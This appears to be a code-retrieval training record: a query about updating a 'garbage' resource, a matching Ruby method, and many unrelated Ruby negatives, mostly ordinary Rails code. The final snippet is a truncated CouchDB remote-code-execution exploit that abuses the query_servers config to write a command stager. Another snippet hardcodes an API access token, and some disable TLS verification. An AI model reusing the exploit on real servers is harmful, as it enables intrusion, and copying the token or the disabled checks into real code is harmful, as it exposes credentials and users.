:message=>\"syntax error - invalid character\"\n end", "def collectGarbage\n\t\t\ta = []\n\t\t\t1000.times { a << {} }\n\t\t\ta = nil\n\t\t\tGC.start\n\t\tend", "def new\n @garbage = Garbage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @garbage }\n end\n end", "def set_garbage_type\n @garbage_type = GarbageType.find(params[:id])\n end", "def index\n @garbage_types = GarbageType.all\n end", "def test_data_cleaning\n customer = rand(0..10)\n stream = rand(0..10)\n\n 10.times do\n post '/watch', {customer_id: customer, stream_id: stream}\n assert_equal 200, last_response.status\n end\n\n sleep 10\n\n trace_test 'data cleaning test', app.settings.customers, app.settings.streams\n\n assert_equal 0, app.settings.customers.length\n assert_equal 0, app.settings.streams.length\n\n end", "def create\n @slow_thing = SlowThing.new(slow_thing_params)\n\n respond_to do |format|\n if @slow_thing.save\n\n domain = URI(root_url)\n Net::HTTP.start(domain.host, domain.port) do |http|\n Rails.logger.debug \"purging #{domain}\"\n http.request( Purge.new(domain) )\n\n Rails.logger.debug \"purging #{slow_things_url}\"\n http.request( Purge.new(URI(slow_things_url)) )\n end\n\n format.html { redirect_to @slow_thing, notice: 'Slow thing was successfully created.' }\n format.json { render :show, status: :created, location: @slow_thing }\n else\n format.html { render :new }\n format.json { render json: @slow_thing.errors, status: :unprocessable_entity }\n end\n end\n end", "def db_cleaner\n JSON.parse(params[:mongified_data][:data]).each do |data|\n data[\"lob\"] = params[:mongified_data][:lob]\n @client.destroy(data)\n end\n end", "def purge_request(params, *titles)\n params[:action] = 'purge'\n params[:titles] = titles.join('|')\n\n post(params)['purge'].inject({}) do |result, hash|\n title = hash['title']\n result[title] = hash.key?('purged') && !hash.key?('missing')\n warn \"Invalid purge (#{title}) #{hash['invalidreason']}\" if hash.key?('invalid')\n result\n end\n end", "def clear_all\n clear\n clear_stored_requests\n end", "def garbage_closed\n state[:garbage] = false\n end", "def clear_garbage\n self.tmp_garbage.each do |relation, record|\n if record.is_a? Array\n record.each { |r| r.destroy }\n else\n record.destroy\n end\n end if self.tmp_garbage.present?\n self.tmp_garbage = {}\n end", "def collect_garbage(options = {})\n config = load_config(options)\n last_key = eliminate_unwanted_sessions(config)\n while !last_key.empty?\n last_key = eliminate_unwanted_sessions(config, last_key)\n end\n end", "def destroy\n @csrfattack.destroy\n respond_to do |format|\n format.html { redirect_to csrfattacks_url, notice: 'Csrfattack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Delete.new('/offsets/doit.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(',')})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end", "def purge\n end", "def purge!\n @data = nil\n end", "def purge!\n @data = nil\n end", "def refill_all_queues!\n # Dla POST musi byc jakies 'body' requestu, bo serwery czesto rzucaja wyjatkami (WEBrick w szczegolnosci).\n post '/queues/refill_all', :body => ' '\n true\n end", "def DataReset()\n @xml_data = \"\"\n end", "def purge_unused_tags!\n unused_tags.each do |tag|\n logger.info(\"Purging tag '#{tag}'\")\n entries_with(label: tag).each do |entry|\n payload = Protocol::Device::SetTagLabels.new(tags: id_to_tags_field(entry.tag_id), label: '')\n context.send_message(target: Target.new(site_id: entry.site_id),\n payload: payload,\n acknowledge: true)\n end\n end\n Timeout.timeout(5) do\n while !unused_tags.empty?\n sleep 0.1\n end\n end\n end", "def postEntityPurge( entity_id, purge_masheryid, purge_supplier_id, purge_user_id, exclude, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['purge_masheryid'] = purge_masheryid\n params['purge_supplier_id'] = purge_supplier_id\n params['purge_user_id'] = purge_user_id\n params['exclude'] = exclude\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/purge\",params)\n end", "def garbage_opened\n state[:garbage] = true\n end", "def update\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n if @garbage.update_attributes(params[:garbage])\n format.html { redirect_to @garbage, notice: 'Garbage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def clean_cache\n node.normal['cloudflare']['threat_control']['status_cache'].reject! { |ip, data| is_stale? data['datetime'] }\nend", "def charge(attrs = {})\n post :charges, {}, attrs.to_xml(:root => :charge)\n end", "def destroy_empty\n @obj = Node.find(params[:id])\n @obj.destroy_empty\n respond_to do |format|\n format.html { redirect_to nodes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @heartbeat.destroy\n\n head :no_content\n end", "def cleanup_xml\n return nil unless xml\n xml.gsub!(/<EFFICIENCY>-<\\/EFFICIENCY>/, '<EFFICIENCY>0.0</EFFICIENCY>')\n end", "def request_uncached request\n sleep 0.001 * options.delay.to_f # Sleep if requested\n\n if options.debug\n print \"Opening #{request[:uri]}...\"; $stdout.flush\n end\n\n if request[:method] == :get\n self.uri = request[:uri]\n else\n raise Exception, 'POST requests not supported yet'\n end\n \n puts 'done!' if options.debug\n \n if self.html_data?\n triples = extract(self.uri, html, self.kb, options.referenceable) # Extract data\n Dumper.dump self.uri, clean(triples), options.format if options.dump # Dump results to disk\n triples\n else\n []\n end\n end", "def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_requests\n self.requests.each {|request| request.destroy}\n end", "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n post_body = []\n post_body << \"<Document><Body>\"\n # stip html\n post_body << ActionView::Base.full_sanitizer.sanitize(params[:desc])\n # no strip\n # post_body << params[:desc]\n post_body << \"</Body></Document>\"\n request = Net::HTTP::Post.new(uri.request_uri)\n request.add_field(\"Content-Type\",\"text/xml\")\n request.add_field(\"outputFormat\",\"application/json\")\n #request.add_field(\"outputFormat\",\"text/n3\") \n request.add_field(\"x-ag-access-token\",\"fY7WUM3GGCXHm9ATOhtzhrvlWX8oPo5X\")\n request.body = post_body.join\n # request[\"Content-Type\"] = \"multipart/form-data, boundary=#{BOUNDARY}\"\n\n render :json => http.request(request).body\n end", "def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n if @post.privacy === nil\n @post.privacy = false\n end\n if not post_params[:images].nil?\n @post.images.purge\n end\n\n if not post_params[:attachments].nil?\n @post.attachments.purge\n end\n respond_to do |format|\n if @post.save\n format.html { redirect_to root_path, notice: 'Post was successfully created.' }\n else\n format.html { render root_path }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def invalidate(files, pos=0)\n paths, count = \"\", 0\n\n files[pos...(pos+CF_BATCH_SIZE)].each do |key|\n count += 1\n paths += \"<Path>#{key.to_s.gsub(/ /, '%20')}</Path>\"\n end\n\n return if count < 1\n\n paths = \"<Paths><Quantity>#{count}</Quantity><Items>#{paths}</Items></Paths>\"\n\n digest = HMAC::SHA1.new(SECRET_ACCESS_KEY)\n digest << date = Time.now.utc.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n\n uri = URI.parse(\"https://cloudfront.amazonaws.com/2012-07-01/distribution/#{CLOUD_DIST_ID}/invalidation\")\n header = {\n 'x-amz-date' => date,\n 'Content-Type' => 'text/xml',\n 'Authorization' => \"AWS %s:%s\" % [ACCESS_KEY_ID, Base64.encode64(digest.digest)]\n }\n req = Net::HTTP::Post.new(uri.path)\n req.initialize_http_header(header)\n body = \"<InvalidationBatch xmlns=\\\"http://cloudfront.amazonaws.com/doc/2012-07-01/\\\">#{paths}<CallerReference>ref_#{Time.now.utc.to_i}</CallerReference></InvalidationBatch>\"\n req.body = body\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request(req)\n puts res.code == '201' ? \"CloudFront reloading #{count}\" : \"Failed #{res.code}\"\n puts res.body if res.code != '201'\n return if res.code == 400\n\n if count == CF_BATCH_SIZE\n invalidate(files, pos+count)\n end\n end", "def run_garbage_collectors\n Donation.garbage_collect( session )\n end", "def garbage_type_params\n params.require(:garbage_type).permit(:name, :picture, :description)\n end", "def clean_refill dirty_atts\n # TODO\n end", "def action_after_save\n @content = nil\n @ng_xml = nil\n remove_instance_variable(:@ng_xml)\n end", "def garbage\n correct_bin = self.bin_id\n Item.find(self.id).responses.where(bin_id: 1).count\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup; end", "def cleanup; end", "def cleanup; end", "def cleanup; end", "def destroy\n @hotspot_registration.destroy\n respond_to do |format|\n format.html { redirect_to admin_guests_url, notice: 'Guest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def prune params = {}\n @connection.post(build_path(\"/containers/prune\", params))\n end", "def confirm\n @garbage = Garbage.find(params[:id])\n @garbage.attributes = params[:garbage]\n render :action => :edit, :status => 400 and return unless @garbage.valid?\n end", "def flush_attrs\n request = Request.new\n response = perform_request(:flushattrs, request)\n\n # parse response\n begin\n response.get_int\n rescue EOFError\n -1\n end\n end", "def purge\n\n\t\tend", "def create_deduplication_request post\n request = Typhoeus::Request.new post.img_url\n request.on_complete do |response|\n if response.code == 200\n file = Tempfile.new('tumblr-machine')\n begin\n file.write response.body\n file.close\n fingerprint = Phashion::Image.new(file.path).fingerprint\n post.update({:fingerprint => Sequel::LiteralString.new(\"B'#{fingerprint.to_s(2).rjust(64, '0')}'\")})\n\n if database[:posts].\n where('fingerprint is not null').\n where('id != ?', post.id).\n where('hamming(fingerprint, (select fingerprint from posts where id = ?)) >= ?', post.id, DUPLICATE_LEVEL).\n count > 0\n post.update({:skip => true})\n end\n\n ensure\n file.close\n file.unlink\n end\n end\n end\n request\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_measurement.destroy\n respond_to do |format|\n format.html { redirect_to bg_measurements_url }\n format.json { head :no_content }\n end\n end", "def postEntityPurgeBy_object( entity_id, object, gen_id, purge_masheryid, purge_supplier_id, purge_user_id, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['object'] = object\n params['gen_id'] = gen_id\n params['purge_masheryid'] = purge_masheryid\n params['purge_supplier_id'] = purge_supplier_id\n params['purge_user_id'] = purge_user_id\n params['destructive'] = destructive\n return doCurl(\"post\",\"/entity/purge/by_object\",params)\n end", "def destroy\n @junk.destroy\n respond_to do |format|\n format.html { redirect_to junks_url, notice: 'Junk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @blood_pressure.destroy\n respond_to do |format|\n format.html { redirect_to blood_pressures_url, notice: 'Blood pressure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def cleanup_feeds()\n status = Status.get_status('feed_item_cleanup')\n last_update = Time.at(status.value.to_i).to_i\n now = Time.now.to_i\n if (last_update + (24*60*60) < now)\n # Save the new status time first, since this could be a long cleanup.\n status.value = now.to_s\n status.save\n\n puts \"Running garbage collection on feeds_items table.\"\n delete_count = 0;\n FeedsItems.find_each(:batch_size => 2000) do |feed_item|\n unless feed_item.feed.user_id.nil? \n user = feed_item.feed.user rescue user = nil\n item = feed_item.item rescue item = nil\n if user.nil? || item.nil? || !item.acl_check?(user)\n puts \"Destroying: #{feed_item.inspect}\"\n feed_item.destroy\n delete_count = delete_count + 1\n end\n end\n end\n puts \"Done. Delete #{delete_count} feeds_items.\"\n else\n puts \"Skipping GC of feeds_items table.\"\n end\n end", "def purge_nodes(name)\n nodes = nodes_for_environment(name)\n futures = []\n\n nodes.each do |node|\n futures << ridley.client.future(:delete, node)\n futures << ridley.node.future(:delete, node)\n end\n\n futures.map(&:value)\n end", "def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end", "def expire!\n expire_faults!\n expire_perfs!\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def cleanup\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def cleanup(node)\n node = node.root if ::Nokogiri::XML::Document === node\n # remove unwanted tags\n node.xpath(\"//*[@jam='erase']\").each do |n|\n unwrap(n)\n end\n # remove jam attributes\n\n #\n node\n end", "def clean\n puts \"== removing all data from redis ==\"\n submission_keys = redis.lrange(SUBMISSIONS_KEY, 0, -1)\n redis.del(submission_keys) unless submission_keys.empty?\n redis.del(SUBMISSIONS_KEY)\n end", "def destroy\n @geocache.destroy\n \n #add score to user rank\n del_score_to_rank('upload')\n \n respond_to do |format|\n format.html { redirect_to(geocaches_url) }\n format.xml { head :ok }\n end\n end", "def gc!\n delete_if { |key, s| s.expired? }\n end", "def refreshtags\n\t\tif Tag.all != nil\n\t\t\t@badtags = Tag.all.select {\n\t\t\t\t|tag|\n\t\t\t\t@usedresources = Resource.all.select {\n\t\t\t\t\t|resource|\n\t\t\t\t\tresource.tags.include? tag\n\t\t\t\t}\n\t\t\t\t@usedresources.empty?\n\t\t\t}\n\t\t\t@badtags.each {\n\t\t\t\t|tag|\n\t\t\t\ttag.destroy\n\t\t\t}\n\t\tend\n\tend", "def teardown\n #commented this out because it is now unnecessary\n # @api = nil\n #GC.start\n @api.close_api\n # @server.close\n end", "def purge()\n time = Time.now\n @data.each do |key, item|\n if item.expiration < time\n @data.delete(key)\n puts \"DELETE #{item.value}\"\n end\n end\n end", "def delete_all_metrics\n connection = Librato::Metrics.client.connection\n Librato::Metrics.list.each do |metric|\n #puts \"deleting #{metric['name']}...\"\n # expects 204\n connection.delete(\"metrics/#{metric['name']}\")\n end\n end", "def purge_all(opts = {})\n data, _status_code, _headers = purge_all_with_http_info(opts)\n data\n end", "def destroy\n @retain_node = RetainNode.find(params[:id])\n @retain_node.destroy\n\n respond_to do |format|\n format.html { redirect_to(retain_nodes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def sanitize_data\n data + \"datacite: #{create_xml.to_xml.gsub(\"%\", \"%25\").gsub(\":\", \"%3A\").gsub(\"\\n\", \"%0D%0A\").gsub(\"\\r\", \"\")}\\n\"\n end", "def post url\n Timeout.timeout(60) do\n puts \"POST: #{url}\" if config[:debug]\n \n tags = (Hpricot(open(\"http://del.icio.us/url/check?url=#{CGI.escape(url)}\"))/\n '#top-tags'/'li')[0..10].map do |li| \n (li/'span').innerHTML[/(.*?)<em/, 1]\n end.join(\" \")\n puts \"POST-TAGS: #{tags}\" if config[:debug]\n \n description = begin\n Timeout.timeout(5) do \n (((Hpricot(open(url))/:title).first.innerHTML or url) rescue url)\n end\n rescue Timeout::Error\n puts \"POST: URL timeout\" if config[:debug]\n url\n end\n \n query = { :url => url, :description => description, :tags => tags, :replace => 'yes' }\n\n http = Net::HTTP.new('api.del.icio.us', 443) \n http.use_ssl = true \n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n response = http.start do |http|\n post_url = '/v1/posts/add?' + query.map {|k,v| \"#{k}=#{CGI.escape(v)}\"}.join('&')\n puts \"POST: post url #{post_url}\" if config[:debug]\n req = Net::HTTP::Get.new(post_url, {\"User-Agent\" => \"Kirby\"})\n req.basic_auth config[:delicious_user], config[:delicious_pass]\n http.request(req)\n end.body\n\n puts \"POST: #{response.inspect}\" if config[:debug]\n end\n rescue Exception => e\n puts \"POST: #{e.inspect}\" if config[:debug]\n end", "def cleanup_records\n Fog::DNS[:dreamhost].records.each do |r|\n # Do not delete the 'do-not-delete' record, we need it for the tests\n r.destroy if r.name =~ /#{test_domain}/ and r.name != do_not_delete_record\n end\nend", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end", "def cleanup\n true\n end", "def cleanup\n cleanup_nonces\n cleanup_associations\n end", "def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end", "def cleanup!; end", "def cleanup!; end", "def destroy\n @unlimited.destroy\n respond_to do |format|\n format.html { redirect_to unlimiteds_url }\n format.json { head :no_content }\n end\n end", "def oomfree(options = {})\n unless options[:start_time].nil? && options[:end_time].nil?\n start_date = Time.at(start_time.to_i).to_datetime\n end_date = Time.at(end_time.to_i).to_datetime\n days = (end_date - start_date).to_i + 1\n options[:days] = days\n end\n request_model = @request_model_factory.oom_count_request_model(options)\n response = @network_client.perform_request(request_model)\n\n result = JSON.parse(response.body)\n sessions = result['data']['project']['crashlytics']['oomSessionCounts']['timeSeries'][0]['allTimeCount']\n ooms = result['data']['project']['crashlytics']['oomCounts']['timeSeries'][0]['allTimeCount']\n 1 - ooms.to_f / sessions\n end", "def cleanup\n true\nend" ]
[ "0.58414936", "0.57558656", "0.56258106", "0.54507506", "0.53766555", "0.5297253", "0.5297253", "0.5210727", "0.51777273", "0.5092629", "0.5084742", "0.5044907", "0.49621168", "0.4888065", "0.48304462", "0.48264277", "0.48132402", "0.47908372", "0.47777233", "0.47144556", "0.46905744", "0.4685722", "0.46790102", "0.4678514", "0.46676615", "0.46620187", "0.46490353", "0.46490353", "0.46467325", "0.46289006", "0.46145606", "0.4599784", "0.4582742", "0.45813027", "0.4579093", "0.45777792", "0.45766464", "0.4572133", "0.45715103", "0.4570921", "0.45705575", "0.45598167", "0.45497438", "0.45492914", "0.4548262", "0.45479113", "0.45432052", "0.45385063", "0.45334548", "0.45262554", "0.45167133", "0.45167133", "0.45167133", "0.45038876", "0.45038876", "0.45038876", "0.45038876", "0.45036277", "0.45012656", "0.44998884", "0.4495775", "0.44857153", "0.4473046", "0.44661576", "0.44661576", "0.4460849", "0.44517595", "0.44411296", "0.44399166", "0.44371346", "0.44361675", "0.44323325", "0.44320536", "0.44320536", "0.44320536", "0.44320536", "0.44317093", "0.44296074", "0.44220188", "0.44175392", "0.44117457", "0.44114846", "0.44051048", "0.4397138", "0.43948796", "0.4387306", "0.4375271", "0.43735164", "0.43694863", "0.43674895", "0.436539", "0.43624145", "0.43606517", "0.43592945", "0.43586233", "0.43583286", "0.43583286", "0.4356558", "0.43524256", "0.4351593" ]
0.542469
4
PUT /garbages/1 PUT /garbages/1.xml
def confirm @garbage = Garbage.find(params[:id]) @garbage.attributes = params[:garbage] render :action => :edit, :status => 400 and return unless @garbage.valid? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @garbage = Garbage.find(params[:id])\n\n respond_to do |format|\n if @garbage.update_attributes(params[:garbage])\n format.html { redirect_to @garbage, notice: 'Garbage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @garbage.errors, status: :unprocessable_entity }\n end\n end\n end", "def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def test_duplicate_tags\n existing_tag = create(:node_tag)\n assert_equal true, existing_tag.node.changeset.user.data_public\n # setup auth\n basic_authorization existing_tag.node.changeset.user.email, \"test\"\n\n # add an identical tag to the node\n tag_xml = XML::Node.new(\"tag\")\n tag_xml[\"k\"] = existing_tag.k\n tag_xml[\"v\"] = existing_tag.v\n\n # add the tag into the existing xml\n node_xml = existing_tag.node.to_xml\n node_xml.find(\"//osm/node\").first << tag_xml\n\n # try and upload it\n content node_xml\n put :update, :params => { :id => existing_tag.node.id }\n assert_response :bad_request,\n \"adding duplicate tags to a node should fail with 'bad request'\"\n assert_equal \"Element node/#{existing_tag.node.id} has duplicate tags with key #{existing_tag.k}\", @response.body\n end", "def destroy\n @garbage = Garbage.find(params[:id])\n @garbage.destroy\n\n respond_to do |format|\n format.html { redirect_to garbages_url }\n format.json { head :no_content }\n end\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n begin\n @garbage = Garbage.find(params[:id])\n @garbage.update_attributes(params[:garbage])\n\n flash[:notice] = t(:success_updated, :id => @garbage.id)\n redirect_to(garbages_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :edit\n end\n end", "def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def invalidate(files, pos=0)\n paths, count = \"\", 0\n\n files[pos...(pos+CF_BATCH_SIZE)].each do |key|\n count += 1\n paths += \"<Path>#{key.to_s.gsub(/ /, '%20')}</Path>\"\n end\n\n return if count < 1\n\n paths = \"<Paths><Quantity>#{count}</Quantity><Items>#{paths}</Items></Paths>\"\n\n digest = HMAC::SHA1.new(SECRET_ACCESS_KEY)\n digest << date = Time.now.utc.strftime(\"%a, %d %b %Y %H:%M:%S %Z\")\n\n uri = URI.parse(\"https://cloudfront.amazonaws.com/2012-07-01/distribution/#{CLOUD_DIST_ID}/invalidation\")\n header = {\n 'x-amz-date' => date,\n 'Content-Type' => 'text/xml',\n 'Authorization' => \"AWS %s:%s\" % [ACCESS_KEY_ID, Base64.encode64(digest.digest)]\n }\n req = Net::HTTP::Post.new(uri.path)\n req.initialize_http_header(header)\n body = \"<InvalidationBatch xmlns=\\\"http://cloudfront.amazonaws.com/doc/2012-07-01/\\\">#{paths}<CallerReference>ref_#{Time.now.utc.to_i}</CallerReference></InvalidationBatch>\"\n req.body = body\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n res = http.request(req)\n puts res.code == '201' ? \"CloudFront reloading #{count}\" : \"Failed #{res.code}\"\n puts res.body if res.code != '201'\n return if res.code == 400\n\n if count == CF_BATCH_SIZE\n invalidate(files, pos+count)\n end\n end", "def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end", "def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} 